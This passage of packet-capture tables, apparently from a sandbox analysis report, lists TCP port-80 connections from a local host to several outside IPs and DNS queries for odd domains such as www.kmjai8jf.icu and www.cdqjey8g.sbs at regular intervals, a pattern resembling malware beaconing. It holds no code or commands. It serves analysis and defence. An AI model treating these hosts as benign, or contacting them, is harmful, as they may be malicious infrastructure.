Nov 7, 2024 12:51:28.276344061 CET	49998	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:28.281431913 CET	80	49998	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:28.281505108 CET	49998	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:28.294986963 CET	49998	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:28.299922943 CET	80	49998	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:28.299947977 CET	80	49998	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:29.126329899 CET	80	49998	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:29.249299049 CET	80	49998	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:29.249638081 CET	49998	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:29.805327892 CET	49998	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:30.822552919 CET	49999	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:31.016434908 CET	80	49999	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:31.017472029 CET	49999	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:31.024456024 CET	49999	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:31.029375076 CET	80	49999	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:31.850416899 CET	80	49999	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:31.896958113 CET	49999	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:31.973299980 CET	80	49999	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:31.973412991 CET	49999	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:31.974431038 CET	49999	80	192.168.2.11	217.160.0.93
Nov 7, 2024 12:51:31.979492903 CET	80	49999	217.160.0.93	192.168.2.11
Nov 7, 2024 12:51:36.995800018 CET	50000	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:37.002845049 CET	80	50000	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:37.005537987 CET	50000	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:37.017374992 CET	50000	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:37.028141975 CET	80	50000	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:37.650388956 CET	80	50000	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:37.653444052 CET	50000	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:38.522063971 CET	50000	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:38.526951075 CET	80	50000	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:39.543462992 CET	50001	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:39.548523903 CET	80	50001	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:39.551871061 CET	50001	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:39.563458920 CET	50001	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:39.568367004 CET	80	50001	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:40.177782059 CET	80	50001	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:40.177865982 CET	50001	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:41.068892002 CET	50001	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:41.074134111 CET	80	50001	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:42.088939905 CET	50002	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:42.093971968 CET	80	50002	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:42.094053030 CET	50002	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:42.108146906 CET	50002	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:42.113082886 CET	80	50002	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:42.113161087 CET	80	50002	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:42.721117020 CET	80	50002	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:42.721189022 CET	50002	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:43.617454052 CET	50002	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:43.623284101 CET	80	50002	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:44.634419918 CET	50003	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:44.639470100 CET	80	50003	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:44.641357899 CET	50003	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:44.646728992 CET	50003	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:44.651647091 CET	80	50003	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:45.288073063 CET	80	50003	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:45.288095951 CET	80	50003	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:45.288312912 CET	50003	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:45.293371916 CET	50003	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:51:45.298218012 CET	80	50003	3.33.130.190	192.168.2.11
Nov 7, 2024 12:51:50.385452032 CET	50004	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:50.390371084 CET	80	50004	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:50.390449047 CET	50004	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:50.472121954 CET	50004	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:50.477061987 CET	80	50004	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:51.065387011 CET	80	50004	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:51.103780031 CET	80	50004	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:51.103928089 CET	50004	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:51.975497961 CET	50004	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:52.997384071 CET	50005	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:53.002290010 CET	80	50005	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:53.005577087 CET	50005	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:53.023386002 CET	50005	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:53.028285027 CET	80	50005	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:53.689733028 CET	80	50005	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:53.727286100 CET	80	50005	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:53.733372927 CET	50005	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:54.537688971 CET	50005	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:55.557403088 CET	50006	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:55.563297987 CET	80	50006	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:55.563409090 CET	50006	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:55.574189901 CET	50006	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:55.579221964 CET	80	50006	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:55.579243898 CET	80	50006	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:56.243393898 CET	80	50006	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:56.275351048 CET	80	50006	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:56.275439978 CET	50006	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:57.087491035 CET	50006	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:58.104542017 CET	50007	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:58.109594107 CET	80	50007	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:58.109656096 CET	50007	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:58.119637012 CET	50007	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:58.124511003 CET	80	50007	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:58.790118933 CET	80	50007	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:58.827775955 CET	80	50007	209.74.64.189	192.168.2.11
Nov 7, 2024 12:51:58.827874899 CET	50007	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:58.829356909 CET	50007	80	192.168.2.11	209.74.64.189
Nov 7, 2024 12:51:58.834352016 CET	80	50007	209.74.64.189	192.168.2.11
Nov 7, 2024 12:52:04.003983021 CET	50008	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:04.009502888 CET	80	50008	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:04.009588003 CET	50008	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:04.029059887 CET	50008	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:04.033962011 CET	80	50008	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:04.664484024 CET	80	50008	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:04.664558887 CET	50008	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:05.537684917 CET	50008	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:05.543431044 CET	80	50008	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:06.556368113 CET	50009	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:06.561362028 CET	80	50009	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:06.561429024 CET	50009	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:06.572735071 CET	50009	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:06.577784061 CET	80	50009	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:07.188028097 CET	80	50009	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:07.189502001 CET	50009	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:08.084801912 CET	50009	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:08.089658022 CET	80	50009	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:09.103611946 CET	50010	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:09.108542919 CET	80	50010	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:09.108761072 CET	50010	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:09.119626999 CET	50010	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:09.124572992 CET	80	50010	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:09.124629974 CET	80	50010	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:09.734328985 CET	80	50010	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:09.735105038 CET	50010	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:10.631500006 CET	50010	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:10.638811111 CET	80	50010	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:11.650350094 CET	50011	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:11.655352116 CET	80	50011	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:11.657535076 CET	50011	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:11.665436983 CET	50011	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:11.670377016 CET	80	50011	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:12.292016029 CET	80	50011	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:12.292366982 CET	80	50011	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:12.292402983 CET	50011	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:12.296082973 CET	50011	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:12.301086903 CET	80	50011	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:17.329416990 CET	50012	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:17.334271908 CET	80	50012	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:17.337477922 CET	50012	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:17.349411011 CET	50012	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:17.354222059 CET	80	50012	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:17.957683086 CET	80	50012	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:17.958376884 CET	80	50012	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:17.958431005 CET	50012	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:18.850656033 CET	50012	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:19.869374037 CET	50013	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:19.874258041 CET	80	50013	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:19.874356031 CET	50013	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:19.885415077 CET	50013	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:19.890640974 CET	80	50013	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:20.505604982 CET	80	50013	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:20.506366968 CET	80	50013	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:20.506424904 CET	50013	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:21.407152891 CET	50013	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:22.416435957 CET	50014	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:22.421271086 CET	80	50014	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:22.421338081 CET	50014	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:22.432921886 CET	50014	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:22.437799931 CET	80	50014	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:22.437872887 CET	80	50014	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:23.048382044 CET	80	50014	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:23.048757076 CET	80	50014	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:23.048854113 CET	50014	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:23.945417881 CET	50014	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:24.965565920 CET	50015	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:24.970679045 CET	80	50015	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:24.977456093 CET	50015	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:24.986550093 CET	50015	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:24.991441965 CET	80	50015	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:25.598870993 CET	80	50015	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:25.599684954 CET	80	50015	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:25.599792957 CET	50015	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:25.602022886 CET	50015	80	192.168.2.11	76.223.105.230
Nov 7, 2024 12:52:25.606920004 CET	80	50015	76.223.105.230	192.168.2.11
Nov 7, 2024 12:52:31.041433096 CET	50016	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:31.046396017 CET	80	50016	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:31.046498060 CET	50016	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:31.057436943 CET	50016	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:31.062361956 CET	80	50016	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:32.062402964 CET	80	50016	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:32.115767956 CET	50016	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:32.280898094 CET	80	50016	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:32.280957937 CET	50016	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:32.568967104 CET	50016	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:33.587856054 CET	50017	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:33.592823982 CET	80	50017	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:33.593081951 CET	50017	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:33.603934050 CET	50017	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:33.608858109 CET	80	50017	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:34.619891882 CET	80	50017	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:34.662674904 CET	50017	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:34.836965084 CET	80	50017	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:34.837027073 CET	50017	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:35.117486954 CET	50017	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:36.136321068 CET	50018	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:36.141330957 CET	80	50018	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:36.141395092 CET	50018	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:36.156150103 CET	50018	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:36.161201000 CET	80	50018	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:36.161227942 CET	80	50018	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:37.175945997 CET	80	50018	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:37.227458000 CET	50018	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:37.393213034 CET	80	50018	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:37.393316031 CET	50018	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:37.663058043 CET	50018	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:38.682790995 CET	50019	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:38.687819004 CET	80	50019	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:38.687978983 CET	50019	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:38.697942019 CET	50019	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:38.702780008 CET	80	50019	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:39.715625048 CET	80	50019	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:39.757447004 CET	50019	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:39.932218075 CET	80	50019	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:39.933624983 CET	50019	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:39.937470913 CET	50019	80	192.168.2.11	202.87.223.248
Nov 7, 2024 12:52:39.942218065 CET	80	50019	202.87.223.248	192.168.2.11
Nov 7, 2024 12:52:44.972565889 CET	50020	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:44.977508068 CET	80	50020	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:44.977571011 CET	50020	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:44.996476889 CET	50020	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:45.001418114 CET	80	50020	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:45.605861902 CET	80	50020	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:45.607505083 CET	50020	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:46.506465912 CET	50020	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:46.511440992 CET	80	50020	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:47.526725054 CET	50021	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:47.531750917 CET	80	50021	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:47.531915903 CET	50021	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:47.545464993 CET	50021	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:47.550518036 CET	80	50021	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:48.158577919 CET	80	50021	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:48.158634901 CET	50021	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:49.053384066 CET	50021	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:49.058254957 CET	80	50021	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:50.073117018 CET	50022	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:50.078490973 CET	80	50022	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:50.078613997 CET	50022	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:50.091902018 CET	50022	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:50.096873999 CET	80	50022	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:50.096965075 CET	80	50022	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:50.730084896 CET	80	50022	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:50.730143070 CET	50022	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:51.600472927 CET	50022	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:51.605467081 CET	80	50022	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:52.624269962 CET	50023	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:52.629251003 CET	80	50023	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:52.629333973 CET	50023	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:52.642258883 CET	50023	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:52.647193909 CET	80	50023	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:53.254646063 CET	80	50023	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:53.255278111 CET	80	50023	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:53.257544041 CET	50023	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:53.261468887 CET	50023	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:53.266305923 CET	80	50023	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:58.292323112 CET	50024	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:58.297373056 CET	80	50024	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:58.297635078 CET	50024	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:58.310560942 CET	50024	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:58.315481901 CET	80	50024	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:58.928149939 CET	80	50024	3.33.130.190	192.168.2.11
Nov 7, 2024 12:52:58.928275108 CET	50024	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:59.821476936 CET	50024	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:52:59.826513052 CET	80	50024	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:00.839365959 CET	50025	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:00.844588995 CET	80	50025	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:00.844686031 CET	50025	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:00.858715057 CET	50025	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:00.863639116 CET	80	50025	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:01.492669106 CET	80	50025	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:01.493556976 CET	50025	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:02.365946054 CET	50025	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:02.370968103 CET	80	50025	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:03.433372021 CET	50026	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:03.438363075 CET	80	50026	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:03.438628912 CET	50026	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:03.449078083 CET	50026	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:03.453965902 CET	80	50026	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:03.453994036 CET	80	50026	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:04.077189922 CET	80	50026	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:04.077244043 CET	50026	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:04.959784985 CET	50026	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:04.964719057 CET	80	50026	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:05.979518890 CET	50027	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:05.984474897 CET	80	50027	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:05.989728928 CET	50027	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:05.999871016 CET	50027	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:06.004791021 CET	80	50027	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:06.633133888 CET	80	50027	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:06.633727074 CET	80	50027	3.33.130.190	192.168.2.11
Nov 7, 2024 12:53:06.633766890 CET	50027	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:06.636785030 CET	50027	80	192.168.2.11	3.33.130.190
Nov 7, 2024 12:53:06.641664982 CET	80	50027	3.33.130.190	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 12:49:47.752090931 CET	53885	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:49:48.444665909 CET	53	53885	1.1.1.1	192.168.2.11
Nov 7, 2024 12:50:04.652597904 CET	59348	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:50:05.223176956 CET	53	59348	1.1.1.1	192.168.2.11
Nov 7, 2024 12:50:19.853857040 CET	51153	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:50:19.877258062 CET	53	51153	1.1.1.1	192.168.2.11
Nov 7, 2024 12:50:33.150532961 CET	52776	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:50:33.169121981 CET	53	52776	1.1.1.1	192.168.2.11
Nov 7, 2024 12:50:46.557044983 CET	59724	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:50:46.588032007 CET	53	59724	1.1.1.1	192.168.2.11
Nov 7, 2024 12:50:54.651936054 CET	59483	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:50:55.320622921 CET	53	59483	1.1.1.1	192.168.2.11
Nov 7, 2024 12:51:09.149748087 CET	50690	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:51:09.215655088 CET	53	50690	1.1.1.1	192.168.2.11
Nov 7, 2024 12:51:23.123362064 CET	61843	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:51:23.152141094 CET	53	61843	1.1.1.1	192.168.2.11
Nov 7, 2024 12:51:36.978764057 CET	58403	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:51:36.990746021 CET	53	58403	1.1.1.1	192.168.2.11
Nov 7, 2024 12:51:50.358464003 CET	64236	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:51:50.381742954 CET	53	64236	1.1.1.1	192.168.2.11
Nov 7, 2024 12:52:03.872473955 CET	51939	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:52:03.998281002 CET	53	51939	1.1.1.1	192.168.2.11
Nov 7, 2024 12:52:17.309410095 CET	64307	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:52:17.323687077 CET	53	64307	1.1.1.1	192.168.2.11
Nov 7, 2024 12:52:30.620831966 CET	65247	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:52:31.037877083 CET	53	65247	1.1.1.1	192.168.2.11
Nov 7, 2024 12:52:44.950027943 CET	58730	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:52:44.968539953 CET	53	58730	1.1.1.1	192.168.2.11
Nov 7, 2024 12:52:58.277010918 CET	54844	53	192.168.2.11	1.1.1.1
Nov 7, 2024 12:52:58.289475918 CET	53	54844	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 12:49:47.752090931 CET	192.168.2.11	1.1.1.1	0x7ed5	Standard query (0)	www.js18456.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:04.652597904 CET	192.168.2.11	1.1.1.1	0x2424	Standard query (0)	www.wiretap.digital	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:19.853857040 CET	192.168.2.11	1.1.1.1	0xe62d	Standard query (0)	www.everyone.golf	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:33.150532961 CET	192.168.2.11	1.1.1.1	0x335a	Standard query (0)	www.solidarity.rocks	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:46.557044983 CET	192.168.2.11	1.1.1.1	0x61d7	Standard query (0)	www.kmjai8jf.icu	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:50:54.651936054 CET	192.168.2.11	1.1.1.1	0xeb7a	Standard query (0)	www.cdqjey8g.sbs	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:09.149748087 CET	192.168.2.11	1.1.1.1	0x1271	Standard query (0)	www.pegji.online	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:23.123362064 CET	192.168.2.11	1.1.1.1	0x7b4	Standard query (0)	www.ambaolive.info	A (IP address)	IN (0x0001)	false
Nov 7, 2024 12:51:36.978764057 CET	192.168.2.11	1.1.1.1	0x54cd	Standard query (0)	www.cablecarrental.net	A (IP address)	IN (0x0001)	false
